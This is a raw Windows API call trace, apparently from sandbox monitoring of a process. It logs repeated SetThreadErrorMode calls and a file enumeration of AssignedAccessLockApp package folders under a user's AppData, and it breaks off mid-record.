SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0214.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0214.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0214.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0215.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0215.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0215.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0215.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0215.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0215.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.065] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.069] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0215.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0215.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0215.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0215.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0215.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0215.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.372] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89c56a54, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89c56a54, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.372] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore", cAlternateFileName="ACTIVA~1")) returned 1 [0215.372] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore", cAlternateFileName="ACTIVA~1")) returned 0 [0215.373] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.373] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0xb7 [0215.373] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89c56a54, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89c56a54, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.373] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89c56a54, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89c56a54, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.374] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore", cAlternateFileName="ACTIVA~1")) returned 1 [0215.374] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.374] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.375] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore", lpFilePart=0x0) returned 0xc7 [0215.375] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.377] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.377] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89e92d07, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89e92d07, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat", cAlternateFileName="ACTIVA~1.DAT")) returned 1 [0215.377] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x89ca2f32, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat.LOG1", cAlternateFileName="ACTIVA~1.LOG")) returned 1 [0215.378] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x89ca2f32, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat.LOG2", cAlternateFileName="ACTIVA~2.LOG")) returned 1 [0215.378] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.378] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.379] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore", lpFilePart=0x0) returned 0xc7 [0215.379] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10586.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.380] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.381] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c56a54, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89e92d07, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89e92d07, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat", cAlternateFileName="ACTIVA~1.DAT")) returned 1 [0215.381] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x89ca2f32, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat.LOG1", cAlternateFileName="ACTIVA~1.LOG")) returned 1 [0215.381] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x89ca2f32, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat.LOG2", cAlternateFileName="ACTIVA~2.LOG")) returned 1 [0215.381] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x89ca2f32, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89ca2f32, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89ca2f32, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivationStore.dat.LOG2", cAlternateFileName="ACTIVA~2.LOG")) returned 0 [0215.382] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.383] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState", lpFilePart=0x0) returned 0x6f [0215.383] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\roamingstate\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.383] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89a1a852, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x89a1a852, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x89a1a852, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, 